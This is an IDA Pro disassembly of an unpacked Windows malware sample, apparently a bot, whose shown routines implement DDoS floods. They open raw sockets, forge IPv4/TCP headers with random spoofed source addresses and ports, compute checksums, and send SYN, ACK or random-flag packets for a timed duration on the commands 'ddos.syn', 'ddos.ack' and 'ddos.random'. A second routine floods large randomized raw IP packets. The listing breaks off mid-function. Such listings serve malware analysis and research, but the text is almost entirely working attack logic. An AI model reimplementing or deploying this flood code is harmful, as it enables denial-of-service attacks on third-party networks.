;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 185B0A8FA380247498122859F8EBF646
; File Name : u:\work\185b0a8fa380247498122859f8ebf646_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0006E000 ( 450560.)
; Section size in file : 0006E000 ( 450560.)
; Offset to raw data for section: 00001000
; Flags F00000C0: Data Bss Shareable Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp0 segment para public 'CODE' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40CE55+38E0o
; .nsp1:0046F084o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_42104C ; GetTickCount
push eax
call sub_415539
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_423050
push eax
call sub_4154E7
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_412D4C
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40B16D
push [ebp+var_290]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43A310
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43A43C
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013DD
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43A378
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43A398
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43A398
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43A398
mov [ebp+var_12], ax
call sub_415543
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43A398
push 12345678h
mov [ebp+var_14], ax
call dword_43A394
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_415543
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_415543
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43A398
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_421054 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_421050 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_4159A0
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2F0j
mov [ebp+var_4], bx
call sub_415543
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43A398
mov [ebp+var_14], ax
call sub_415543
mov edi, eax
shl edi, 10h
call sub_415543
or edi, eax
push edi
call dword_43A398
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43A394
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43A398
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4155D0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A1CA
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415570
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A1CA
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43A3FC
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_421050 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013D0
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4013D0
jmp loc_401264
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: sub_4010B2+2CBj
call dword_43A32C
push eax
lea eax, [ebp+var_F4]
push offset unk_42308C
push eax
call sub_4154E7
lea eax, [ebp+var_F4]
push eax
call sub_40B16D
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
loc_4013D0: ; CODE XREF: sub_4010B2+2E0j
; sub_4010B2+2EEj
mov ebx, [ebp+arg_8]
loc_4013D3: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+31Cj
push [ebp+var_20]
call dword_43A430
pop esi
loc_4013DD: ; CODE XREF: sub_4010B2+5Bj
call dword_43A2F8
mov eax, ebx
loc_4013E5: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A05B
push [esp+10h+arg_4]
mov esi, eax
call sub_415A5F
push [esp+14h+arg_C]
mov ebx, eax
call sub_415A5F
mov edi, eax
call sub_415543
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401447 proc near ; DATA XREF: sub_40CE55+3AC8o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43A418
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014E2
call dword_43A32C
push eax
lea eax, [ebp+var_3BC]
push offset unk_42322C
loc_401495: ; DATA XREF: .nsp0:off_424D5Co
; .nsp0:off_425D04o
push eax
call sub_4154E7
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C5
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_4014C5: ; CODE XREF: sub_401447+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4014E2: ; CODE XREF: sub_401447+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43A378
cmp eax, 0FFFFFFFFh
jnz short loc_401559
call dword_43A32C
push eax
lea eax, [ebp+var_3BC]
push offset unk_4231E0
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40153C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_40153C: ; CODE XREF: sub_401447+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_401559: ; CODE XREF: sub_401447+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43A3D8
cmp eax, 0FFFFFFFFh
jnz short loc_4015C0
lea eax, [ebp+var_3BC]
push offset unk_4231AC
push eax
call sub_4154E7
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_4015A3: ; CODE XREF: sub_401447+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4015C0: ; CODE XREF: sub_401447+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43A398
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43A3D8
mov esi, dword_42104C
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_4015FE: ; CODE XREF: sub_401447+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4017A9
push 41Ch
mov byte_438B98, 45h
call dword_43A398
cmp [ebp+var_2C], edi
mov word_438B9A, ax
mov word_438B9C, bx
mov word_438B9E, di
mov byte_438BA0, 80h
mov byte_438BA1, bl
mov word_438BA2, di
jz short loc_401684
call sub_415543
mov ebx, eax
shl ebx, 8
call sub_415543
add ebx, eax
shl ebx, 8
call sub_415543
add ebx, eax
shl ebx, 8
call sub_415543
add ebx, eax
push 1
mov dword_438BA4, ebx
pop ebx
jmp short loc_40169C
; ---------------------------------------------------------------------------
loc_401684: ; CODE XREF: sub_401447+20Bj
push [ebp+var_1BC]
call sub_40A171
pop ecx
push eax
call dword_43A3D8
mov dword_438BA4, eax
loc_40169C: ; CODE XREF: sub_401447+23Bj
mov eax, [ebp+var_18]
mov dword_438BA8, eax
call sub_415543
cdq
mov ecx, 100h
idiv ecx
mov byte_438BAC, dl
call sub_415543
cdq
mov ecx, 100h
idiv ecx
mov byte_438BAD, dl
call sub_415543
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_438BAE, di
mov word_438BB2, bx
inc edx
mov word_438BB0, dx
call sub_415543
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_438BB4
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_438B98
push [ebp+var_4]
call dword_43A3FC
cmp eax, 0FFFFFFFFh
jz short loc_401734
inc [ebp+arg_0]
jmp loc_4015FE
; ---------------------------------------------------------------------------
loc_401734: ; CODE XREF: sub_401447+2E3j
push [ebp+var_4]
call dword_43A430
call dword_43A32C
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_423148
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_415A6A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40178C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_40178C: ; CODE XREF: sub_401447+323j
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4017A9: ; CODE XREF: sub_401447+1C8j
push [ebp+var_4]
call dword_43A430
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4230E4
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_401811
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_401811: ; CODE XREF: sub_401447+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
sub_401447 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: sub_40CE55+37D1o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_423274
push eax
call sub_4154E7
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_412D4C
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40B16D
push [ebp+var_10]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_40182E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CA proc near ; CODE XREF: sub_401B7C+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43A310
test eax, eax
jz short loc_40190A
xor eax, eax
jmp loc_401B78
; ---------------------------------------------------------------------------
loc_40190A: ; CODE XREF: sub_4018CA+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43A43C
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401B70
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43A378
cmp eax, 0FFFFFFFFh
jz loc_401B66
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43A398
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43A398
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43A398
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43A398
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_421054 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_421050 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_4159A0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_4019F5: ; CODE XREF: sub_4018CA+25Dj
; sub_4018CA+26Bj
mov [ebp+var_24], bx
call sub_415543
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43A398
mov [ebp+var_34], ax
call sub_415543
mov edi, eax
shl edi, 10h
call sub_415543
or edi, eax
push edi
call dword_43A398
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43A394
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43A398
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4155D0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A1CA
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415570
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A1CA
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43A3FC
cmp eax, 0FFFFFFFFh
jz short loc_401B3A
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_421050 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401B63
jl loc_4019F5
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_401B63
jmp loc_4019F5
; ---------------------------------------------------------------------------
loc_401B3A: ; CODE XREF: sub_4018CA+247j
call dword_43A32C
push eax
lea eax, [ebp+var_F4]
push offset dword_4232B0
push eax
call sub_4154E7
lea eax, [ebp+var_F4]
push eax
call sub_40B16D
add esp, 10h
jmp short loc_401B66
; ---------------------------------------------------------------------------
loc_401B63: ; CODE XREF: sub_4018CA+25Bj
; sub_4018CA+269j
mov ebx, [ebp+arg_8]
loc_401B66: ; CODE XREF: sub_4018CA+78j
; sub_4018CA+297j
push [ebp+var_C]
call dword_43A430
pop esi
loc_401B70: ; CODE XREF: sub_4018CA+5Bj
call dword_43A2F8
mov eax, ebx
loc_401B78: ; CODE XREF: sub_4018CA+3Bj
pop edi
pop ebx
leave
retn
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A05B
push [esp+10h+arg_4]
mov esi, eax
call sub_415A5F
push [esp+14h+arg_8]
mov ebx, eax
call sub_415A5F
mov edi, eax
call sub_415543
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4018CA
add esp, 1Ch
test eax, eax
jnz short loc_401BC7
push 1
pop eax
loc_401BC7: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BD6 proc near ; DATA XREF: sub_40CE55+2C1Eo
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_42104C
call edi ; GetTickCount
push eax
call sub_415539
pop ecx
push 0FFh
push 3
push 2
call dword_43A418
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401C9F
call dword_43A32C
push eax
lea eax, [ebp+var_440]
push offset dword_423438
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401C7F
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_401C7F: ; CODE XREF: sub_401BD6+84j
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401C9F: ; CODE XREF: sub_401BD6+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43A378
cmp eax, 0FFFFFFFFh
jnz short loc_401D1D
call dword_43A32C
push eax
lea eax, [ebp+var_440]
push offset dword_4233EC
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401CFD
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_401CFD: ; CODE XREF: sub_401BD6+102j
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401D1D: ; CODE XREF: sub_401BD6+DFj
